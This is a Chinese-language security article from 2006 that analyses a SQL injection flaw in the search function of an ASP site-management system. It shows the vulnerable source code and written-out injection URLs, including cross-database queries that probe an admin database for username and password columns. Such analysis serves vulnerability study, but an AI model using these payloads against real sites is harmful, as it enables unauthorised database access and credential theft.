动网论坛,站长建站首选,国内使用量最多的论坛软件 动网论坛官方技术讨论区 站长工具 申请属于您自己的免费论坛
首页 | 新闻资讯 | 网站运营 | 网络编程 | 数据库 | 服务器 | 网页设计 | 图像媒体 | 网络应用 | 搜索优化 | 资源下载 | 动网主机 | DVBOX
    本站内  互联网 ASP论坛  ASP.Net论坛  PHP论坛
   安全 → 阅读文章
  

 对形象中国全站系统的搜索注入漏洞的一点分析

作者来源:起点网络学院  
阅读 2136 人次 , 2006-3-18 18:20:00 

首先声明,这个漏洞不是我发现的,我只是作了一次的分析,不足之处请不吝指教。

这个站点在当初被认为是比较安全的全站系统,事实上现在也是。(后来的补丁里出现了上传漏洞,不在讨论之列。)因此这个系统被改编为很多版本:

Nowa 0.94版本(原版)

形象中国整站(修改版本)

蓝雨整站(修改版本)

落日整站(修改版本)

流星整站(修改版本)---------------------------------------------(感谢hak_ban提供)

我的站http://www.918x.com就是这个系统的,还有很多的站点用到这个系统(包括小路的666w.com,嘿嘿)。

我们先来看漏洞文件的原代码:

<%sub article_body()

dim totalart,Currentpage,totalpages,i,j,colname

openarticle

sql="select art_id,cat_id,art_title,art_date,art_count from art order by art_date DESC"

if request("cat_id")<>"" then

sql="select art_id,cat_id,art_title,art_date,art_count from art where cat_id="&request("cat_id")&" order by art_date DESC"

elseif request("keyword")<>"" then

sql="select art_id,cat_id,art_title,art_date,art_count from art where "&request("select")&" like %"&request("keyword")&"%order by art_date DESC"

elseif request("cat_id")<>"" and request("keyword")<>"" then

sql="select art_id,cat_id,art_title,art_date,art_count from art where art_title or art_content like %"&request("keyword")&"%order by art_date DESC"

end if

set rs=server.createobject("adodb.recordset")

rs.open sql,conn,1,1

%>

关键这句:sql="select art_id,cat_id,art_title,art_date,art_count from art where "&request("select")&" like %"&request("keyword")&"%order by art_date DESC"

我们从另一个文件FORMAT.asp里发现文件对request的keyword变量进行了过滤,却没有对request的select进行有 效检查。

所以当我们提交(%20是空格)

_title&keyword=1%20and%201=1" target=_blank>http://www.918x.com/article.asp?select=art_title&keyword=1%20and%201=1

是不成功的,但是提交:

_blank>http://www.918x.com/article.asp? keyword=1&select=art_title%20and%201=1

_blank>http://www.918x.com/article.asp? keyword=1&select=art_title%20and%201=2

就能成功的达到注入的目的。

整个文章系统有两处搜索,除了article.asp还有download.asp,于是看了看代码,却没有发现&request("select"),而是直接把soft_name等放在查询中,看起来好象这两个查询不是同一个人写的。

再来说说利用。我们知道,这个整站有5个数据库,密码保存在admin.mdb里(默认情况下)。

而上述注入只是征对article.mdb的。我们最多能够暴出article.mdb表里的数据。

那能不能跨库查询呢?

首先我必须知道保存admin的数据库的名字,假设为admin.asp,我们还需要知道数据库的物理路径,假设为d:\web\data\ 然后如下查询:

_blank>http://www.918x.com/article.asp? keyword=1&select=art_title%20and %200<>(select%20count(*)%20from%20d:\web\data\admin.asp.admin%20where%20admin_name)

_blank>http://www.918x.com/article.asp? keyword=1&select=art_title%20and %200<>(select%20count(*)%20from%20d:\web\data\admin.asp.admin%20where%20admin_password)

返回成功,则说明有admin表和admin_name,admin_password列。

接下来便可以注入,暴出用户名和密码来。我就不多说了,大家都会的。

这种情况适用于

1.知道数据库的物理路径

2.数据库不在可访问的web目录里,在上级目录,或者其他地方,或者数据库作了防下载处理(否则我们可以直接下载admin数据库,又何必注入那么麻烦呢。)

总的来说利用的价值不大,何况20040415的补丁使得密码还是md5加密的

 本文Tags注入  病毒  
 收藏本文  打印本文  论坛讨论  关闭窗口
· 上一篇:PHP+MySQL注入导出文件的新发现-附带IPB2的漏洞利用
· 下一篇:IPB2注入漏洞的深入利用
· 甲骨文提前发布安全补丁 修复数个软件漏洞
· 苹果升级Mac OS漏洞补丁 修补大量系统隐患
· WORD文档杀手病毒惊现 U盘成病毒载体
· 微软公布Office07更多细节 十年来最大升级
· Firefox <= 1.0.7 HTML解析拒绝服务漏洞


关于本站 | 联系我们 | 业务合作 | 客户案例 | 诚聘英才 | 广告合作 | 收藏本站
海口动网先锋网络科技有限公司版权所有
Copyright © 2000 - 2006 Cndw.Com
中华人民共和国电信与信息服务业务经营许可证编号 琼 ICP 020077